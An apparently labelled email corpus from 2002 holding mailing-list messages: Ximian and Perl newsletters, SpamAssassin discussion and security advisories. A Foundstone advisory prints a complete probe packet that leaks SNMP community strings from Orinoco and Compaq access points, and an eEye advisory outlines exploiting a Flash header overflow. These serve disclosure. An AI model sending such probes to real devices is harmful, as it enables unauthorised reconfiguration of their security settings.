Team ,Ximian Updates ,"Tue, 6 Aug 2002 17:03:18 -0400",[Ximian Updates] Ximian Security Updates,"The Ximian Security Team has been issuing advisories for security problems in Ximian GNOME for some time now at this URL: http://support.ximian.com/s?&p_cat_lvl1=12 Starting today we will begin to also email security advisories to this list (updates@ximian.com) to raise the awareness of potential problems. The Ximian Security Team _______________________________________________ updates maillist - updates@ximian.com http://lists.ximian.com/mailman/listinfo/updates Please DO NOT reply to this list! Use bugs@helixcode.com or hello@helixcode.com instead.",0,1 pudge@perl.org,yyyy-use-perl@spamassassin.taint.org,"Wed, 07 Aug 2002 02:00:22 +0000",[use Perl] Headlines for 2002-08-07,"use Perl Daily Headline Mailer Underground Movies of My Talks? posted by pudge on Tuesday August 06, @06:23 (others) http://use.perl.org/article.pl?sid=02/08/05/1323232 Copyright 1997-2002 pudge. All rights reserved. ====================================================================== You have received this message because you subscribed to it on use Perl. To stop receiving this and other messages from use Perl, or to add more messages or change your preferences, please go to your user page. http://use.perl.org/my/messages/ You can log in and change your preferences from there.",0,1 pudge@perl.org,yyyy-use-perl@spamassassin.taint.org,"Wed, 07 Aug 2002 02:00:28 +0000",[use Perl] Stories for 2002-08-07,"use Perl Daily Newsletter In this issue: * Underground Movies of My Talks? +--------------------------------------------------------------------+ | Underground Movies of My Talks? | | posted by pudge on Tuesday August 06, @06:23 (others) | | http://use.perl.org/article.pl?sid=02/08/05/1323232 | +--------------------------------------------------------------------+ [0]Dominus writes ""At my talks at TPC this year I noticed people in the audience with video recorders. That's fine with me, but now I want to see the recordings! I saw at least two people recording 'Mailing List Judo' and 'Conference Presentation Judo.' If you do have a video, please drop me a note. Thanks."" I wouldn't mind an audio or video recording of my YAPC talk either, if someone had such a beast. Discuss this story at: http://use.perl.org/comments.pl?sid=02/08/05/1323232 Links: 0. mailto:mjd@plover.com Copyright 1997-2002 pudge. All rights reserved. ====================================================================== You have received this message because you subscribed to it on use Perl. To stop receiving this and other messages from use Perl, or to add more messages or change your preferences, please go to your user page. http://use.perl.org/my/messages/ You can log in and change your preferences from there.",0,1 Ximian GNOME Security Team ,Ximian Updates ,"Tue, 6 Aug 2002 17:06:12 -0400",[Ximian Updates] libpng has a potential buffer overflow when loading progressive images,"Severity: Security Product: libpng Keywords: Red Carpet libpng buffer overflow URL: http://support.ximian.com/q?283 References: Release Notes for libpng ftp://swrinde.nde.swri.edu/pub/png-group/archives/png-list.200207 libpng is a library used to create and manipulate PNG (Portable Network Graphics) image files. The 1.2.4* and 1.0.14 releases of libpng solve a potential buffer overflow vulnerability[1] in some functions related to progressive image loading. Programs such as mozilla and various others use these functions. An attacker could exploit this to remotely run arbitrary code or crash an application by using a specially crafted png image. These new releases also solve other minor bugs such as some memory leaks in reading image functions. Since most applications which display images use libpng, this affects many applications including Evolution and Mozilla. Additionally, Red Carpet links libpng statically and needs to be updated separately. Ximian only ships libpng on Solaris, and so we only have Solaris packages available. When distribution vendors update their packages, they will be available in Red Carpet. Please use Red Carpet to upgrade libpng to 1.0.14 and Red Carpet 1.3.4-2. You can also get packages from the Ximian FTP site: Solaris 7/8 ftp://ftp.ximian.com/pub/ximian-gnome/solaris-7-sun4/libpng-1.0.14-1.ximian.1.sparc.rpm ftp://ftp.ximian.com/pub/ximian-gnome/solaris-7-sun4/libpng-devel-1.0.14-1.ximian.1.sparc.rpm ftp://ftp.ximian.com/pub/ximian-gnome/solaris-7-sun4/red-carpet-1.3.4-2.ximian.1.sparc.rpm _______________________________________________ updates maillist - updates@ximian.com http://lists.ximian.com/mailman/listinfo/updates Please DO NOT reply to this list! Use bugs@helixcode.com or hello@helixcode.com instead.",0,1 distribution@ximian.com,undisclosed-recipients:;,"Tue, 6 Aug 2002 15:41:23 -0400",[Ximian Updates] (no subject),"CAN-2002-0384 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0384 RHSA-2002-098 http://rhn.redhat.com/errata/RHSA-2002-098.html Gaim Changelog http://gaim.sourceforge.net/ChangeLog Gaim is an instant messaging client based on the published TOC protocol from AOL. Versions of Gaim prior to 0.58 contain a buffer overflow in the Jabber plug-in module. Please download Gaim 0.59 or later using Red Carpet. You may also obtain this update from the Ximian FTP site. Debian Potato ftp://ftp.ximian.com/pub/ximian-gnome/debian-potato-i386/gaim_0.59-1.ximian.1_i386.deb ftp://ftp.ximian.com/pub/ximian-gnome/debian-potato-i386/gaim-common_0.59-1.ximian.1_i386.deb ftp://ftp.ximian.com/pub/ximian-gnome/debian-potato-i386/gaim-gnome_0.59-1.ximian.1_i386.deb Mandrake 8.0 ftp://ftp.ximian.com/pub/ximian-gnome/mandrake-80-i586/gaim-0.59-1.ximian.1.i586.rpm Mandrake 8.1 ftp://ftp.ximian.com/pub/ximian-gnome/mandrake-81-i586/gaim-0.59-1.ximian.1.i586.rpm Mandrake 8.2 ftp://ftp.ximian.com/pub/ximian-gnome/mandrake-82-i586/gaim-0.59-1.ximian.1.i586.rpm Redhat 6.2 ftp://ftp.ximian.com/pub/ximian-gnome/redhat-62-i386/gaim-0.59-1.ximian.1.i386.rpm ftp://ftp.ximian.com/pub/ximian-gnome/redhat-62-i386/gaim-applet-0.59-1.ximian.1.i386.rpm Redhat 7.0 ftp://ftp.ximian.com/pub/ximian-gnome/redhat-70-i386/gaim-0.59-1.ximian.1.i386.rpm ftp://ftp.ximian.com/pub/ximian-gnome/redhat-70-i386/gaim-applet-0.59-1.ximian.1.i386.rpm Redhat 7.1 ftp://ftp.ximian.com/pub/ximian-gnome/redhat-71-i386/gaim-0.59-1.ximian.1.i386.rpm ftp://ftp.ximian.com/pub/ximian-gnome/redhat-71-i386/gaim-applet-0.59-1.ximian.1.i386.rpm Redhat 7.2 ftp://ftp.ximian.com/pub/ximian-gnome/redhat-72-i386/gaim-0.59-1.ximian.1.i386.rpm ftp://ftp.ximian.com/pub/ximian-gnome/redhat-72-i386/gaim-applet-0.59-1.ximian.1.i386.rpm Redhat 7.3 ftp://ftp.ximian.com/pub/ximian-gnome/redhat-73-i386/gaim-0.59-1.ximian.1.i386.rpm ftp://ftp.ximian.com/pub/ximian-gnome/redhat-73-i386/gaim-applet-0.59-1.ximian.1.i386.rpm Solaris 7/8 ftp://ftp.ximian.com/pub/ximian-gnome/solaris-7-sun4/gaim-0.59-1.ximian.1.sparc.rpm ftp://ftp.ximian.com/pub/ximian-gnome/solaris-7-sun4/gaim-applet-0.59-1.ximian.1.sparc.rpm SuSE 7.1 ftp://ftp.ximian.com/pub/ximian-gnome/suse-71-i386/gaim-0.59-1.ximian.1.i386.rpm ftp://ftp.ximian.com/pub/ximian-gnome/suse-71-i386/gaim-applet-0.59-1.ximian.1.i386.rpm SuSE 7.2 ftp://ftp.ximian.com/pub/ximian-gnome/suse-72-i386/gaim-0.59-1.ximian.1.i386.rpm ftp://ftp.ximian.com/pub/ximian-gnome/suse-72-i386/gaim-applet-0.59-1.ximian.1.i386.rpm SuSE 7.3 ftp://ftp.ximian.com/pub/ximian-gnome/suse-73-i386/gaim-0.59-1.ximian.1.i386.rpm ftp://ftp.ximian.com/pub/ximian-gnome/suse-73-i386/gaim-applet-0.59-1.ximian.1.i386.rpm SuSE 8.0 ftp://ftp.ximian.com/pub/ximian-gnome/suse-80-i386/gaim-0.59-1.ximian.1.i386.rpm ftp://ftp.ximian.com/pub/ximian-gnome/suse-80-i386/gaim-applet-0.59-1.ximian.1.i386.rpm Yellowdog 2.0 ftp://ftp.ximian.com/pub/ximian-gnome/yellowdog-20-ppc/gaim-0.59-1.ximian.1.ppc.rpm ftp://ftp.ximian.com/pub/ximian-gnome/yellowdog-20-ppc/gaim-applet-0.59-1.ximian.1.ppc.rpm Yellowdog 2.1 ftp://ftp.ximian.com/pub/ximian-gnome/yellowdog-21-ppc/gaim-0.59-1.ximian.1.ppc.rpm ftp://ftp.ximian.com/pub/ximian-gnome/yellowdog-21-ppc/gaim-applet-0.59-1.ximian.1.ppc.rpm Yellowdog 2.2 ftp://ftp.ximian.com/pub/ximian-gnome/yellowdog-22-ppc/gaim-0.59-1.ximian.1.ppc.rpm ftp://ftp.ximian.com/pub/ximian-gnome/yellowdog-22-ppc/gaim-applet-0.59-1.ximian.1.ppc.rpm _______________________________________________ updates maillist - updates@ximian.com http://lists.ximian.com/mailman/listinfo/updates Please DO NOT reply to this list! Use bugs@helixcode.com or hello@helixcode.com instead.",0,1 nobody@sonic.spamtraps.taint.org (Nobody),undisclosed-recipients: ;,"Wed, 7 Aug 2002 06:38:04 -0700 (PDT)",,"Problem with spamtrap Could not lock /home/yyyy/lib/spamtrap/spam.mbox: File exists at lib/Mail/SpamAssassin/NoMailAudit.pm line 484, line 94.",0,0 Rich Wellner ,"""Tony L. Svanstrom"" ","Thu, 08 Aug 2002 08:58:01 -0500",Re: [SAtalk] Is this a violation of TRADEMARK?,"""Tony L. Svanstrom"" writes: > IMHO it's wrong that any company is allowed to use the name of a public > project commercially, while others aren't; esp. when it's a name that tells > Average Joe that that version is so much better than the free one. Dude, take that one up with Redhat, Suse, IBM or any of the other folks using the name of a public project (i.e. Linux) for a commercial product. ;-) This is not only a concept with precedent it's actually quite common. rw2 ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 yyyy@spamassassin.taint.org (Justin Mason),Ross Vandegrift ,"Thu, 08 Aug 2002 14:27:10 +0100",Re: [SAtalk] whitelisting mailing lists,"Ross Vandegrift said: > Won't this whitelist spams sent to mailing lists though? only if you've whitelisted the mailing list. In that case, c'est la vie ;) --j. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 yyyy@spamassassin.taint.org (Justin Mason),Theo Van Dinter ,"Fri, 09 Aug 2002 11:17:20 +0100","Re: [SAdev] RESENT_TO, argh","Theo Van Dinter said: > Well, I have my users bounce me their spams (which means there's 2 > users who do it), and I wrote this procmail bit just for the reason > you mentioned: urgh. I guess fixing the spamtraps to strip the headers before writing them is the best thing to do... --j.",0,0 """Marc Maiffret"" ","""vulwatch"" ","Thu, 8 Aug 2002 17:26:22 -0700",[VulnWatch] EEYE: Macromedia Shockwave Flash Malformed Header Overflow,"Macromedia Shockwave Flash Malformed Header Overflow Release Date: August 8, 2002 Severity: High (Remote Code Execution) Systems Affected: Macromedia Shockwave Flash - All Versions; Unix and Windows; Netscape and Internet Explorer Description: While working on some pre-release eEye Retina CHAM tools, an exploitable condition was discovered within the Shockwave Flash file format called SWF (pronounced ""SWIF""). Since this is a browser based bug, it makes it trivial to bypass firewalls and attack the user at his desktop. Also, application browser bugs allow you to target users based on the websites they visit, the newsgroups they read, or the mailing lists they frequent. It is a ""one button"" push attack, and using anonymous remailers or proxies for these attacks is possible. This vulnerability has been proven to work with all versions of Macromedia Flash on Windows and Unix, through IE and Netscape. It may be run wherever Shockwave files may be displayed or attached, including: websites, email, news postings, forums, Instant Messengers, and within applications utilizing web-browsing functionality. Technical Description: The data header is roughly made out to: [Flash signature][version (1)][File Length(A number of bytes too short)][frame size (malformed)][Frame Rate (malformed)][Frame Count (malformed)][Data] By creating a malformed header we can supply more frame data than the decoder is expecting. By supplying enough data we can overwrite a function pointer address and redirect the flow of control to a specified location as soon as this address is used. At the moment the overwritten address takes control flow, an address pointing to a portion of our data is 8 bytes back from the stack pointer. By using a relative jump we redirect flow into a ""call dword ptr [esp+N]"", where N is the number of bytes from the stack pointer. These ""jump points"" can be located in multiple loaded dll's. By creating a simple tool using the debugging API and ReadMemory, you can examine a process's virtual address space for useful data to help you with your exploitation. This is not to say other potentially vulnerable situations have not been found in Macromedia's Flash. We discovered about seventeen others before we ended our testing. We are working with Macromedia on these issues. Protection: Retina(R) Network Security Scanner already scans for this latest version of Flash on users' systems. Ensure all users within your control upgrade their systems. Vendor Status: Macromedia has released a patch for this vulnerability, available at: http://www.macromedia.com/v1/handlers/index.cfm?ID=23293&Method=Full&Title=M PSB02%2D09%20%2D%20Macromedia%20Flash%20Malformed%20Header%20Vulnerability%2 0Issue&Cache=False Discovery: Drew Copley Exploitation: Riley Hassell Greetings: Hacktivismo!, Centra Spike Copyright (c) 1998-2002 eEye Digital Security Permission is hereby granted for the redistribution of this alert electronically. It is not to be edited in any way without express consent of eEye. If you wish to reprint the whole or any part of this alert in any other medium excluding electronic medium, please e-mail alert@eEye.com for permission. Disclaimer The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk. Feedback Please send suggestions, updates, and comments to: eEye Digital Security http://www.eEye.com info@eEye.com",0,1 pudge@perl.org,yyyy-use-perl@spamassassin.taint.org,"Fri, 09 Aug 2002 02:00:22 +0000",[use Perl] Headlines for 2002-08-09,"use Perl Daily Headline Mailer Damian Conway to speak in London posted by ziggy on Thursday August 08, @15:21 (damian) http://use.perl.org/article.pl?sid=02/08/08/1923211 Meeting in Budapest posted by ziggy on Thursday August 08, @17:24 (groups) http://use.perl.org/article.pl?sid=02/08/08/1927253 Copyright 1997-2002 pudge. All rights reserved. ====================================================================== You have received this message because you subscribed to it on use Perl. To stop receiving this and other messages from use Perl, or to add more messages or change your preferences, please go to your user page. http://use.perl.org/my/messages/ You can log in and change your preferences from there.",0,1 pudge@perl.org,yyyy-use-perl@spamassassin.taint.org,"Fri, 09 Aug 2002 02:00:28 +0000",[use Perl] Stories for 2002-08-09,"use Perl Daily Newsletter In this issue: * Damian Conway to speak in London * Meeting in Budapest +--------------------------------------------------------------------+ | Damian Conway to speak in London | | posted by ziggy on Thursday August 08, @15:21 (damian) | | http://use.perl.org/article.pl?sid=02/08/08/1923211 | +--------------------------------------------------------------------+ [0]blech writes ""Damian Conway will be coming to London in August, and he'll be speaking at a couple of special [1]London.pm meetings, at the approprately named [2]Conway Hall in [3]Central London. The first is [4]Life, the Universe and Everything on Tuesday 27th August, and the second is [5]Perl 6 Prospective on Thursday 29th August. Both start at 6.30 pm sharp, so we can fit in the maximum possible Damian-ness. We hope to see you there!"" Discuss this story at: http://use.perl.org/comments.pl?sid=02/08/08/1923211 Links: 0. http://london.pm.org/ 1. http://london.pm.org/meetings/ 2. http://www.conwayhall.org.uk/ 3. http://www.streetmap.co.uk/streetmap.dll?G2M?X=530661&Y=181764&A=Y&Z=1 4. http://www.yetanother.org/damian/seminars/Life.html 5. http://www.yetanother.org/damian/seminars/Perl6.html +--------------------------------------------------------------------+ | Meeting in Budapest | | posted by ziggy on Thursday August 08, @17:24 (groups) | | http://use.perl.org/article.pl?sid=02/08/08/1927253 | +--------------------------------------------------------------------+ [0]Gabor Szabo writes ""We are organizing a meeting for Perl users in Budapest. We'll meet on 26th August at 17:00 at a location we'll announce within a few days on [1]our mailing list. Planned agenda: How to raise camels on the Hungarian Puszta. You can read more details (in Hungarian) [2]here. Non Hungarians who happen to be in the area are also welcome, though the presentation(s) will be given in Hungarian."" Discuss this story at: http://use.perl.org/comments.pl?sid=02/08/08/1927253 Links: 0. mailto:gabor@tracert.com 1. http://www.atom.hu/mailman/listinfo/perl 2. http://www.atom.hu/pipermail/perl/2002-August/001150.html Copyright 1997-2002 pudge. All rights reserved. ====================================================================== You have received this message because you subscribed to it on use Perl. To stop receiving this and other messages from use Perl, or to add more messages or change your preferences, please go to your user page. http://use.perl.org/my/messages/ You can log in and change your preferences from there.",0,1 Matt Sergeant ,"""Rose, Bobby"" ","Fri, 09 Aug 2002 10:38:08 +0100",Re: [SAtalk] How'd this one slip through?,"Rose, Bobby wrote: > Ouch ;-) Although I'm not ready to give up razor just yet, I'd like to > see a pyzor check in SA. I don't think it even needs to be written in > perl. SA is actually calling razor-check and razor-report as well as > dccproc for those checks so it should be nothing more than duplication > of coding to add pyzor. The problem is that Python has a much longer startup time than Perl (though this may have changed recently, I don't know). This is partly why Python was never very popular for CGIs. Matt. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Benoit Peccatte ,spamassassin-talk@example.sourceforge.net,09 Aug 2002 10:10:17 -0400,Re: [SAtalk] Multiple regular expression,"Thank you for this help. I will change the score of FROM_AND_TO_SAME rule to be higher. Benoit Peccatte PS: I've noticed that the reply-to is not fixed to your mailing-list is this normal ? On Tue, 2002-08-06 at 16:22, Theo Van Dinter wrote: > On Tue, Aug 06, 2002 at 03:29:30PM -0400, Benoit Peccatte wrote: > > I would like to add a rule to spamassassin to compare 2 header lines. > > By example match mails in which To: equals From: > > > > I don't think it is possible with a single regular expression. > > Can I use one after one other ? > > Does anobody have an idea ? > > You would have to make an Eval test that retrieves both header and > compares them. > > BTW: > header FROM_AND_TO_SAME eval:check_for_from_to_equivalence() > describe FROM_AND_TO_SAME From and To the same address > > :) > > -- > Randomly Generated Tagline: > It really doesn't bother me if people want to use grep or map in a void > context. It didn't bother me before there was a for modifier, and > now that there is one, it still doesn't bother me. I'm just not very > easy to bother. > -- Larry Wall in <199911012346.PAA25557@kiev.wall.org> ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Michael Moncur"" ",,"Thu, 8 Aug 2002 22:56:37 -0600",RE: [SAtalk] How'd this one slip through?,"> Ouch ;-) Although I'm not ready to give up razor just yet, I'd like to > see a pyzor check in SA. I don't think it even needs to be written in > perl. SA is actually calling razor-check and razor-report as well as > dccproc for those checks so it should be nothing more than duplication > of coding to add pyzor. I don't know from Pyzor, but I've always thought that the way services like Razor and DCC could be truly useful is if there were a bunch of different ones. We can assign them scores based on how trustworthy each one is, and when a message is listed in multiple services you can pretty much trust that it's spam. -- Michael Moncur mgm at starlingtech.com http://www.starlingtech.com/ ""Mustard's no good without roast beef."" --Chico Marx ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Tony L. Svanstrom"" ",Scott A Crosby ,"Fri, 9 Aug 2002 04:52:02 +0200 (CEST)",[SAtalk] Re: HELP! Someone stole our address...,"On 4 Aug 2002 the voices made Scott A Crosby write: > On Sun, 4 Aug 2002 16:36:57 +0200 (CEST), ""Tony L. Svanstrom"" > writes: > > > On Sun, 4 Aug 2002 the voices made Tony L. Svanstrom write: > > > > The solution is of course to have a public key of some sort associated with > > the domainame itself, at the registrar-level, so that when an e-mail arrives > > the server can check if the sending-server actually is responsible for the > > domain/user the e-mail appears to have been sent from. > > > > That can be problematic.. For example, if I'm at home and want to send > email out from my work-address; I can't go through my ISP's > mailserver.. I don't thikn we want to enforce a link linking an email > address and the server sending it; there are many reasons to have the > two things be different entities. True, but that's the thinking of today, that the company mailserver can be closed to you from the outside; because as it is today you can use any mail- server that you've got access to. If there's a good reason for setting it up they won't be that lazy in the future. > However, requiring mailservers to sign the Received: header... That > could be useful. (assuming the signature is of reasonable size). That > could indicate at what server the email *did* enter the system. IT'd > also be incontravertable proof that that mailserver did allow itself > to be abused. Signatures could be checked by either MX or inaddr-arpa > records indicating the host's public key. > > There's still some problems left though. You'd have to bind the > headers to the message somehow, via signatures. (To avoid someone > taking an email then twiddling the body and claiming that spam came > from a particular host.) This would mean that you couldn't alter the > body of a message. > > An unforgable Received chain would be very useful evidence. A simple RFC could fix that today, either using a new header or extending the Received-header with a code/value that the server later on can verify; maybe something like this: Received2: Date: [date]; Local: sub.dom2.tld (IP#2); Remote: sub.dom3.tld (IP#3); Env-id: Code: [cache#, salted hashvalue, rsa or other signature] And then you have the two optional From and To, only added by the sending server that's identified the local sender or the server accepting mail for a certain user (to verify that it did really come via that server, in case you forward it using procmail or something like it). You of course would need some standard for how to check these headers. Not perfect, but better than what we have today. /Tony -- # Per scientiam ad libertatem! // Through knowledge towards freedom! # # Genom kunskap mot frihet! =*= (c) 1999-2002 tony@svanstrom.com =*= # perl -e'print$_{$_} for sort%_=`lynx -source svanstrom.com/t`' ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Olivier Nicole ,kelson@speed.net,"Fri, 9 Aug 2002 09:25:25 +0700 (ICT)",Re: [SAtalk] Re: SA SQL Prefs and MIMEDefang,"> The main reason I'd like to stick with a milter-based approach is the > ability to reject messages at the SMTP stage. This way the recipient isn't > bothered and the sender knows immediately that the message failed. My > understanding is that once it gets to Procmail, as far as the sender is > concerned, it got through. And since all our users connect via POP, moving > things to another folder is not an option, so the only way to notify the > recipient is to allow the message through or replace it with a summary. I think the summary thingy, with a mail based retreive facility, is a good alternative. You avoid false positive, only one email to list all the spam you received in one day, and you have full per user pref. Olivier ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Foundstone Labs"" ",", ","Fri, 9 Aug 2002 11:12:04 -0700",[VulnWatch] Foundstone Labs Advisory - Information Leakage in Orinoco and Compaq Access Points,"Foundstone Labs Advisory - 080902-APIL Advisory Name: Information Leakage in Orinoco and Compaq Access Points Release Date: August 9th, 2002 Application: Orinoco Residential Gateway and Compaq WL310 Platforms: N/A Severity: The ability to display/modify configuration information Vendors: Orinoco (http://www.orinocowireless.com) and Compaq (http://www.compaq.com) Authors: Marshall Beddoe (marshall.beddoe@foundstone.com) Tony Bettini (tony.bettini@foundstone.com) CVE Candidate: CAN-2002-0812 Reference: http://www.foundstone.com/advisories Overview: An information leakage vulnerability exists in Orinoco and Compaq OEM access points, disclosing the unique SNMP community string. As a result, an attacker can query the community string and gain the ability to change system configuration including Wired Equivalent Privacy (WEP) keys and Domain Name Service (DNS) information. Detailed Description: The Compaq WL310 is an OEM Orinoco Residential Gateway access point. Both the Compaq and Orinoco access points use a unique identification number found on the bottom of the access point for configuration through their management client. This identification string is used as the default SNMP read/write community string. The community strings appears to be unchangable, unique, and not easily guessable. By sending a specific packet to UDP port 192, the access point will return information including the firmware version and the unique identification value. The packet returned includes the value of system.sysName.0, which in the case of the Compaq WL310 and Orinoco Residential Gateway, includes the unique identification value. The identification value can then be used as the SNMP community string to view and modify the configuration. The probe packet: ""\x01\x00\x00\x00\x70\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"" ""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"" ""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"" ""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"" ""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"" ""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"" ""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"" ""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"" Example probe response: 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 00 00 00 00 00 60 1d 20 2e 38 00 00 18 19 10 f8 | .....`. .8...... 4f 52 69 4e 4f 43 4f 20 52 47 2d 31 31 30 30 20 | ORiNOCO RG-1100 30 33 39 32 61 30 00 00 00 00 00 00 00 00 00 00 | 0392a0.......... 02 8f 24 02 52 47 2d 31 31 30 30 20 56 33 2e 38 | ..$.RG-1100 V3.8 33 20 53 4e 2d 30 32 55 54 30 38 32 33 32 33 34 | 3 SN-02UT0823234 32 20 56 00 | 2 V. system.sysName.0 = ""ORiNOCO RG-1100 0392a0"" Community name: 0392a0 Vendor Response: Both vendors were notified of this issue on July 8th, 2002. According to Orinoco, ""The Residential Gateway line has been discontinued."" Solution: Employ packet filtering on inbound requests to deny access to ports 192/udp and 161/udp on the access point. FoundScan has been updated to check for this vulnerability. For more information on FoundScan, see the Foundstone website: http://www.foundstone.com Disclaimer: The information contained in this advisory is copyright (c) 2002 Foundstone, Inc. and is believed to be accurate at the time of publishing, but no representation of any warranty is given, express, or implied as to its accuracy or completeness. In no event shall the author or Foundstone be liable for any direct, indirect, incidental, special, exemplary or consequential damages resulting from the use or misuse of this information. This advisory may be redistributed, provided that no fee is assigned and that the advisory is not modified in any way.",0,1 Rob Flickenger ,"""Foundstone Labs"" ","Fri, 9 Aug 2002 15:03:33 -0700",Re: [VulnWatch] Foundstone Labs Advisory - Information Leakage in Orinoco and Compaq Access Points,"On Friday, August 9, 2002, at 11:12 AM, Foundstone Labs wrote: > An information leakage vulnerability exists in Orinoco and Compaq OEM > access points, disclosing the unique SNMP community string. As a result, > an attacker can query the community string and gain the ability to > change system configuration including Wired Equivalent Privacy (WEP) > keys and Domain Name Service (DNS) information. I think this is missing the point a bit... Yes, you can query the SNMP community string... And yes, it's the default PW (not to mention the ESSID and last 5 characters of the default WEP key...) But they're all easily changed, and indeed, it is highly recommended to do so in the manual. Anyone who changes the default settings would not be vulnerable to this particular SNMP probe. Of course, you can't account for end user stupidity, but that's beyond the scope of this advisory. ;) > Vendor Response: > > Both vendors were notified of this issue on July 8th, 2002. According > to Orinoco, ""The Residential Gateway line has been discontinued."" I've also heard (second hand, but on good authority) that the RG line is alive and well (hence the recent RG-1100, and the upcoming 802.11a version...) --Rob",0,0 pudge@perl.org,yyyy-use-perl@spamassassin.taint.org,"Sat, 10 Aug 2002 14:02:56 +0000",[use Perl] Headlines for 2002-08-10,"use Perl Daily Headline Mailer TPF Announces Newsletter Mailing List, Translations posted by KM on Friday August 09, @13:03 (links) http://use.perl.org/article.pl?sid=02/08/09/174257 search.cpan.org Out of Beta posted by KM on Friday August 09, @16:46 (cpan) http://use.perl.org/article.pl?sid=02/08/09/2046256 Copyright 1997-2002 pudge. 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To stop receiving this and other messages from use Perl, or to add more messages or change your preferences, please go to your user page. http://use.perl.org/my/messages/ You can log in and change your preferences from there.",0,1 pudge@perl.org,yyyy-use-perl@spamassassin.taint.org,"Sat, 10 Aug 2002 14:03:03 +0000",[use Perl] Stories for 2002-08-10,"use Perl Daily Newsletter In this issue: * TPF Announces Newsletter Mailing List, Translations * search.cpan.org Out of Beta +--------------------------------------------------------------------+ | TPF Announces Newsletter Mailing List, Translations | | posted by KM on Friday August 09, @13:03 (links) | | http://use.perl.org/article.pl?sid=02/08/09/174257 | +--------------------------------------------------------------------+ [0]gnat writes ""We've set up a mailing list for the monthly Perl Foundation newsletters, and [1]the July newsletter went out on Thursday. If you donated to YAS and The Perl Foundation, you are already subscribed at the email address you provided when you donated. If you haven't donated and want to subscribe, send an empty email message to foundation-newsletter-subscribe@perl.org (and also consider [2]donating :-). In other newsletter news, we have a [3]French translation of the July newsletter on the web site. Thanks to mirod (Michel Rodriguez) for making that happen. Translations into other languages are welcome--please contact Kevin Meltzer (kevinm AT yetanother.org)."" I *heart* your translations! Discuss this story at: http://use.perl.org/comments.pl?sid=02/08/09/174257 Links: 0. mailto:gnat@frii.com 1. http://www.perl-foundation.org/index.cgi?page=newsletter 2. http://www.perl-foundation.org/index.cgi?page=contrib 3. http://www.perl-foundation.org/index.cgi?page=fr/tpf-newsletter-0702 +--------------------------------------------------------------------+ | search.cpan.org Out of Beta | | posted by KM on Friday August 09, @16:46 (cpan) | | http://use.perl.org/article.pl?sid=02/08/09/2046256 | +--------------------------------------------------------------------+ [0]gbarr writes ""Since announcing the [1]search beta site a OSCON we have recieved several feedback messages. Some have suggested changes, which we appriciate and most will be implemented. But many of the messages were just requesting it to become [2]search.cpan.org. So by popular demand the switch will happen this weekend."" Sweet! Discuss this story at: http://use.perl.org/comments.pl?sid=02/08/09/2046256 Links: 0. mailto:gbarr-tucs@mutatus.co.uk 1. http://search-beta.cpan.org/ 2. http://search.cpan.org/ Copyright 1997-2002 pudge. All rights reserved. ====================================================================== You have received this message because you subscribed to it on use Perl. To stop receiving this and other messages from use Perl, or to add more messages or change your preferences, please go to your user page. http://use.perl.org/my/messages/ You can log in and change your preferences from there.",0,1 gkm@petting-zoo.net (glen mccready),0xdeadbeef@petting-zoo.net,"Sun, 18 Aug 2002 11:25:31 -0700",A pastor walked into a neighborhood pub...,"Forwarded-by: Rob Windsor Forwarded-by: LZ A pastor walked into a neighborhood pub. The place was hopping with music and dancing but every once in a while the lights would turn off. Each time after the lights would go out the place would erupt into cheers. However, when the revelers saw the town pastor, the room went dead silent. He walked up to the bartender and asked, ""May I please use the restroom?"" The bartender replied, ""I really don't think you should."" ""Why not?"" the pastor asked. ""Well, there is a statue of a naked woman in there, and her most private part is covered only by a fig leaf."" ""Nonsense,"" said the pastor, ""I'll just look the other way."" So the bartender showed the clergyman the door at the top of the stairs, and he proceeded to the restroom. After a few minutes, he came back out, and the whole place was hopping with music and dancing again. However, they did stop just long enough to give the pastor a loud round of applause. He went to the bartender and said, ""Sir, I don't understand. Why did they applaud for me just because I went to 